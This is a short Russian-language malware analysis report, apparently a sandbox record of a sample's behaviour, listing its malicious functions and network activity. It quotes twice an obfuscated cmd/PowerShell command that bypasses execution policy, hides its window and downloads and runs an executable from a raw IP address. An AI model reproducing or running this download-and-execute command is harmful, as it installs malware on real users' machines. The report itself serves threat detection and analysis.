Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://86.106.131.141/1.exe как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "PoWe^rS^H^eLL.exE -^EXEc^uTIoNpO^lICy ^B^Y^Pa^sS -^N^o^PrO^FiLE ^-w^iNDoW^s^T^ylE Hi^DD^en (N^eW-oBjEct sYSteM^.Net.wEBC^LIeNT).d^ownL^o^Adfi^l^e('http://86.106.131.141/1.exe','%app...
Сетевая активность
Подключается к
- '86.##6.131.141':80
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "PoWe^rS^H^eLL.exE -^EXEc^uTIoNpO^lICy ^B^Y^Pa^sS -^N^o^PrO^FiLE ^-w^iNDoW^s^T^ylE Hi^DD^en (N^eW-oBjEct sYSteM^.Net.wEBC^LIeNT).d^ownL^o^Adfi^l^e('http://86.106.131.141/1.exe','%app...' (со скрытым окном)
